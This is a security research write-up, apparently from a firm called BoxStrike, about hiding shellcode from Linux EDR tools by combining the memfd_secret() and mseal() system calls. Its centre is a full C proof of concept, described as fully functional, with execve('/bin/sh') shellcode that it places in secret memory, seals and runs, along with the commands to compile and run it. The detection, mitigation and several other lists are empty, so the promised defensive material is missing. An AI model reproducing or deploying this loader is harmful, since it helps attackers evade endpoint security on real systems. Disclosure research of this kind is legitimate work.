BoxStrike · Finding 001

A Novel Defense Evasion Technique on Linux:
Hiding Shellcode from EDR Using memfd_secret() + mseal()

Date: July 9, 2025  ·  Author: BoxStrike Research Team  ·  Version: 1.0

1. Introduction

The Linux kernel has introduced numerous new system calls in recent years to improve memory security and anti‑exploitation capabilities. Two of these — memfd_secret() (Linux 5.14) and mseal() (Linux 6.10) — were designed for legitimate security use cases. However, when combined, they create an unexpected and powerful Defense Evasion technique.

This report provides an in‑depth technical analysis of both system calls, their architectural principles, and how an attacker can abuse them together. It also includes a fully functional Proof‑of‑Concept (PoC) and two concrete proposals (blocking and controlled read) submitted to the Linux kernel development community.

Key Point: This technique requires no root privileges. Both memfd_secret() and mseal() can be called by ordinary (unprivileged) users, which significantly increases the severity of the threat.

2. Technical Background

2.1 memfd_secret() – Hiding Memory from the Kernel

memfd_secret() was introduced in Linux 5.14. Its primary purpose is to allow a userspace process to create a memory region that is inaccessible to anyone — including the kernel itself. This is ideal for protecting sensitive data such as cryptographic keys, private keys, or other highly confidential information.

Step‑by‑step operation:

  1. memfd_secret() creates an anonymous file that does not correspond to any real file on disk and returns a file descriptor (fd) to that file.
  2. The file descriptor is sized using ftruncate() and then mapped into the process’s address space with mmap().
  3. Critical step: When the mapping is established, the physical pages backing this region are removed from the kernel’s direct map and page tables. This means the kernel no longer knows or can access those physical addresses.
  4. These pages exist only in the process’s own user‑space page tables.

As a result:

FeatureDescription
Linux version5.14+ (x86_64, ARM64, etc.)
Privilege requiredNone – any user can call it
ActivationBefore 6.5, secretmem.enable=1 needed; 6.5+ enabled by default
Memory limitSubject to RLIMIT_MEMLOCK; never swapped out
Blocked access pathsKernel, GUP, DMA, eBPF reads, /proc/pid/mem, ptrace

2.2 mseal() – Sealing a Memory Region

mseal() was introduced in Linux 6.10. Its main goal is to protect a virtual memory area (VMA) against future modifications. This is an exploitation mitigation designed to prevent attackers from changing memory protection bits (mprotect) or moving/removing the region (mremap/munmap).

How it works:

  1. mseal(start, len, flags) targets VMAs within the specified address range.
  2. Before sealing, it verifies that the range consists entirely of valid VMAs with no gaps.
  3. If all checks pass, the VM_SEALED flag is added to the vm_flags field of each targeted VMA. (On 64‑bit systems, this is typically bit 63.)
  4. Once sealed, the following operations will fail on this VMA:

FeatureDescription
Linux version6.10+
Privilege requiredNone
Protection mechanismVM_SEALED flag on VMA
Blocked operationsmprotect, munmap, mremap, mmap(MAP_FIXED), some madvise

3. The Danger of Combining Both – New Attack Surface

Individually, memfd_secret() and mseal() are legitimate and useful security features. However, when combined, they create an unexpected and powerful Defense Evasion technique.

Advantages of the combination:

This creates a blind spot for current security products. An attacker can place their shellcode (or any malicious payload) into this hidden, sealed region within their own process, effectively bypassing EDR/XDR detection while also preventing any later modification or removal of the payload.

4. Proof‑of‑Concept (PoC)

The following fully functional PoC demonstrates the technique in action. It creates a secret memory region using memfd_secret(), copies a execve("/bin/sh") shellcode into it, seals the region with mseal(), and finally executes the shellcode. The result is a shell that runs from memory invisible to EDR/AV solutions.

PoC – secret_shellcode_poc.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <errno.h>

#ifndef __NR_memfd_secret
#define __NR_memfd_secret 447
#endif
#ifndef __NR_mseal
#define __NR_mseal 462
#endif

// x86_64 shellcode: execve("/bin/sh", NULL, NULL)
unsigned char shellcode[] = {
    0x48, 0x31, 0xc0,       // xor rax, rax
    0x48, 0x31, 0xd2,       // xor rdx, rdx
    0x48, 0x31, 0xf6,       // xor rsi, rsi
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, // mov rbx, /bin//sh
    0x53,                   // push rbx
    0x48, 0x89, 0xe7,       // mov rdi, rsp
    0xb0, 0x3b,             // mov al, 59
    0x0f, 0x05              // syscall
};

int main() {
    int fd;
    void *addr;

    // 1. Create a secret file with memfd_secret
    fd = syscall(__NR_memfd_secret, 0);
    if (fd == -1) {
        perror("memfd_secret");
        return 1;
    }

    // 2. Map the memory (read-write-execute)
    addr = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_SHARED, fd, 0);
    if (addr == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    // 3. Copy the shellcode into the secret region
    memcpy(addr, shellcode, sizeof(shellcode));

    // 4. Seal the region (optional; requires Linux 6.10+)
    if (syscall(__NR_mseal, addr, sizeof(shellcode), 0) == -1) {
        perror("mseal (warning, continuing)");
    } else {
        printf("[+] Shellcode sealed.\n");
    }

    printf("[+] Shellcode is in secret memory, executing...\n");
    // 5. Execute the shellcode
    ((void (*)())addr)();

    // Should never reach here (shellcode spawns a shell)
    return 0;
}
    

Compilation and execution:

gcc -o secret_shellcode_poc secret_shellcode_poc.c
./secret_shellcode_poc
    

When executed, the program creates the secret region, copies the shellcode, seals it (if the kernel is 6.10+), and then spawns a /bin/sh shell. This shell runs from a memory region that is invisible to EDR/AV tools.

Verification: After the shell spawns, from another terminal you can examine /proc/<pid>/maps and see the region marked as [secretmem]. Attempting to read it with eBPF will fail with EFAULT.

5. Architectural Workflow Diagram

The following diagram summarises the step‑by‑step execution flow of the technique:

memfd_secret() mmap() + ftruncate() mseal() Create secret file (anonymous fd) Map into memory Pages removed from kernel direct map VM_SEALED bit added to VMA mprotect/munmap/mremap blocked RESULT EDR/XDR cannot read (eBPF, /proc/pid/mem, ptrace) Cannot be modified or removed – shellcode executes
Figure 1: Architectural workflow of the memfd_secret() + mseal() combination.

6. Detection and Mitigation Recommendations

The following measures are recommended to detect and prevent this technique:

7. Conclusion and Assessment

The BoxStrike Research Team has identified that combining the memfd_secret() and mseal() system calls — both designed as security features — creates a novel and powerful Defense Evasion technique on Linux. This technique requires no root privileges and allows an attacker to place malicious code in a memory region that is unreadable and unmodifiable by EDR/XDR tools.

Our findings have been submitted to the Linux kernel development community with two concrete proposals (A – blocking, B – controlled read). Although no real‑world adversary use has been observed yet, the potential for exploitation is high. System administrators and security teams are advised to implement the countermeasures outlined above.

Acknowledgements: This research was conducted internally by the BoxStrike team in a laboratory environment. We will update this report as we receive feedback from the Linux community.

8. Appendices – System Call Details

8.1 memfd_secret() Prototype and Return Values

int memfd_secret(unsigned int flags);
    

8.2 mseal() Prototype and Return Values

int mseal(unsigned long start, size_t len, unsigned long flags);
    

9. References

10. Change Log

VersionDateDescription
1.0July 9, 2025Initial release. Includes finding description, technical background, full PoC, architectural diagram, and proposals.
Future updates: Linux community feedback, new PoC variations, improved detection methods.